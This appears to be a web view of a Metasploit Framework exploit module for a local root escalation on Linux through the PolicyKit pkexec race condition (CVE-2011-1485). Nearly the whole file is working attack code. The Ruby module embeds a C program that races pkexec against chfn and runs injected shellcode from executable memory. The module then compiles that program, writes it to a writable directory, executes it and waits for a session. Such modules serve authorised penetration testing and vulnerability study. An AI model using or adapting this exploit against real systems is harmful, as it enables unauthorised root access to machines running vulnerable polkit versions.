Path: blob/master/modules/exploits/linux/local/pkexec.rb
25358 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Project7#89class MetasploitModule < Msf::Exploit::Local10Rank = GreatRanking1112include Msf::Exploit::EXE13include Msf::Post::File1415include Msf::Exploit::Local::Linux1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Linux PolicyKit Race Condition Privilege Escalation',22'Description' => %q{23A race condition flaw was found in the PolicyKit pkexec utility and polkitd24daemon. A local user could use this flaw to appear as a privileged user to25pkexec, allowing them to execute arbitrary commands as root by running26those commands with pkexec.2728Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu29libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.130(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)31},32'License' => MSF_LICENSE,33'Author' => [34'xi4oyu', # exploit35'0a29406d9794e4f9b30b3c5d6702c708' # metasploit module36],37'Platform' => [ 'linux'],38'Arch' => [ ARCH_X86, ARCH_X64 ],39'SessionTypes' => [ 'shell', 'meterpreter' ],40'Targets' => [41[ 'Linux x86', { 'Arch' => ARCH_X86 } ],42[ 'Linux x64', { 'Arch' => ARCH_X64 } ]43],44'DefaultTarget' => 0,45'References' => [46[ 'CVE', '2011-1485' ],47[ 'EDB', '17942' ],48[ 'OSVDB', '72261' ]49],50'DisclosureDate' => '2011-04-01',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)58register_options([59OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),60OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),61OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])62])63register_advanced_options [64OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])65]66end6768def executable_path69@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)70@executable_path71end7273def check74# version can be nil75version = cmd_exec('pkexec --version').split.last7677# version can be a string, so we check it78if version.nil? || !Rex::Version.correct?(version)79vprint_error('pkexec not found or version incorrect')80return CheckCode::Unknown81end8283if Rex::Version.new(version) <= Rex::Version.new('0.101')84vprint_good("pkexec #{version} found")85return CheckCode::Appears86end8788CheckCode::Detected89end9091def exploit92main = %q^93/*94* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit95* Author: xi4oyu96* Tested on: rhel 697* CVE : 2011-148598* Linux pkexec exploit by xi4oyu , thx [email protected] * Have fun~99* U can reach us @ http://www.wooyun.org :)100* 0a2940: some changes101*/102/*103#include <stdio.h>104#include <limits.h>105#include <time.h>106#include <unistd.h>107#include <termios.h>108#include <sys/stat.h>109#include <errno.h>110#include <poll.h>111#include <sys/types.h>112#include <stdlib.h>113#include <string.h>114*/115116#define dprintf117118#define NULL ((void*)0)119120#define MAP_PRIVATE 0x02121#define MAP_FIXED 0x10122#define MAP_ANONYMOUS 0x20123#define MAP_ANON MAP_ANONYMOUS124#define MAP_FAILED ((void *)-1)125126#define PROT_READ 0x1127#define PROT_WRITE 0x2128#define PROT_EXEC 0x4129130#define O_CREAT 64131#define O_RDWR 2132133#define POLLRDNORM 0x0040134135typedef int __pid_t;136typedef int __time_t;137typedef138struct {139long __val[2];140} __quad_t;141typedef __quad_t __dev_t;142typedef long __ino_t;143typedef unsigned long __mode_t;144typedef long __nlink_t;145typedef unsigned int __uid_t;146typedef unsigned int __gid_t;147typedef long long __off_t;148typedef long __blksize_t;149typedef long long __blkcnt_t;150struct _stat_buff {151__dev_t st_dev; /* Device. */152unsigned short int __pad1;153__ino_t st_ino; /* File serial number. */154__mode_t st_mode; /* File mode. */155__nlink_t st_nlink; /* Link count. */156__uid_t st_uid; /* User ID of the file's owner. */157__gid_t st_gid; /* Group ID of the file's group.*/158__dev_t st_rdev; /* Device number, if device. */159unsigned short int __pad2;160__off_t st_size; /* Size of file, in bytes. */161__blksize_t st_blksize; /* Optimal block size for I/O. */162__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */163__time_t st_atime; /* Time of last access. */164unsigned long int st_atimensec; /* Nscecs of last access. */165__time_t st_mtime; /* Time of last modification. */166unsigned long int st_mtimensec; /* Nsecs of last modification. */167__time_t st_ctime; /* Time of last status change. */168unsigned long int st_ctimensec; /* Nsecs of last status change. */169unsigned long int __unused4;170unsigned long int __unused5;171};172173struct _pollfd {174int fd; /* file descriptor */175short events; /* requested events */176short revents; /* returned events */177};178typedef unsigned long size_t;179extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);180extern int mprotect(void *__addr, size_t __len, int __prot);181extern void exit(int __status);182extern int printf(const char *__format, ...);183extern __pid_t fork(void);184extern __time_t time(__time_t *t);185extern __pid_t getpid(void);186extern __uid_t geteuid(void);187extern void srand(unsigned int seed);188extern int snprintf(char *str, size_t size, const char *format, ...);189extern int pipe(int pipefd[2]);190extern int close(int fd);191extern void write(int fd, const void *buf, size_t count);192extern int dup2(int oldfd, int newfd);193extern void perror(const char *__s);194extern void read(int fd, void *buf, size_t count);195extern int execve(const char *filename, char *const argv[], char *const envp);196extern int usleep(int usec);197extern void *memset(void *s, int c, size_t n);198extern void *memcpy(void * dst, const void *src, size_t n);199extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);200extern char *strstr(const char *haystack, const char *needle);201extern int rand(void);202extern int unlink(const char *__name);203204int main(int argc,char *argv[], char ** envp)205{206207__time_t tim_seed1;208__pid_t pid_seed2;209int result;210struct _stat_buff stat_buff;211212char * chfn_path = "/usr/bin/chfn";213char * cmd_path = "";214215char * pkexec_argv[] = {216"/usr/bin/pkexec",217"/bin/sh",218"-c",219cmd_path,220NULL221};222int pipe1[2];223int pipe2[2];224int pipe3[2];225__pid_t pid,pid2 ;226char * chfn_argv[] = {227"/usr/bin/chfn",228NULL229};230231char buff[8];232char read_buff[4096];233char real_path[512];234235int count = 0;236int flag = 0;237unsigned int usleep1 = 0;238unsigned int usleep2 = 0;239240tim_seed1 = time(NULL);241pid_seed2 = getpid();242srand(tim_seed1+pid_seed2);243244if(!geteuid()){245246unlink(cmd_path);247248SHELLCODE249250int shellcode_size = 0;251int i;252unsigned long (*func)();253func = mmap(NULL, 0x1000,254PROT_READ | PROT_WRITE | PROT_EXEC,255MAP_PRIVATE | MAP_ANONYMOUS,2560, 0257);258mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);259dprintf("Copying %d bytes of shellcode\n", shellcode_size);260//for (i = 0; i < shellcode_size; i++) {261//(char)func[i] = (char)shellcode[i];262memcpy(func,shellcode,shellcode_size);263//}264dprintf("Forking before calling shellcode: 0x%p\n", func);265if (fork()) {266exit(0);267}268func();269}270271if(pipe(pipe1)){272perror("pipe");273exit(-2);274}275276for(count = COUNT; count && !flag; count--){277dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);278pid = fork();279if( !pid ){280// Parent281if( !pipe(pipe2)){282if(!pipe(pipe3)){283pid2 = fork();284if(!pid2){285// Parent 2286close(1);287close(2);288close(pipe1[0]);289dup2(pipe1[1],2);290dup2(pipe1[1],1);291close(pipe1[1]);292close(pipe2[0]);293close(pipe3[1]);294write(pipe2[1],"\xFF",1);295read(pipe3[0],&buff,1);296execve(pkexec_argv[0],pkexec_argv,envp);297perror("execve pkexec");298exit(-3);299}300close(0);301close(1);302close(2);303close(pipe2[1]);304close(pipe3[0]);305read(pipe2[0],&buff,1);306write(pipe3[1],"\xFF",1);307usleep(usleep1+usleep2);308execve(chfn_argv[0],chfn_argv,envp);309perror("execve setuid");310exit(1);311}312}313perror("pipe3");314exit(1);315}316317//Note: This is child, no pipe3 we use poll to monitor pipe1[0]318memset(pipe3,0,8);319320struct _pollfd * pollfd = (struct pollfd *)(&pipe3);321pollfd->fd = pipe1[0];322pollfd->events = POLLRDNORM;323324if(poll(pollfd,1,1000) < 0){325perror("poll");326exit(1);327}328329if(pollfd->revents & POLLRDNORM ){330memset(read_buff,0,4096);331read(pipe1[0],read_buff,4095);332if( strstr(read_buff,"does not match")){333usleep1 += 100;334usleep2 = rand() % 1000;335}else{336if(usleep1 > 0){337usleep1 -= 100;338}339}340}341}342result = 0;343unlink(cmd_path);344return result;345}346347^348main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))349main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")350main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")351main.gsub!(/COUNT/, datastore["Count"].to_s)352main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']353354cpu = nil355if target['Arch'] == ARCH_X86356cpu = Metasm::Ia32.new357elsif target['Arch'] == ARCH_X64358cpu = Metasm::X86_64.new359end360361begin362elf = Metasm::ELF.compile_c(cpu, main).encode_string363rescue => e364print_error "Metasm Encoding failed: #{$ERROR_INFO}"365elog('Metasm Encoding failed', error: e)366return367end368369print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"370rm_f executable_path371write_file(executable_path, elf)372output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")373output.each_line { |line| vprint_status(line.chomp) }374375stime = Time.now.to_f376print_status "Starting the payload handler..."377until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f378Rex.sleep(1)379end380end381end382383384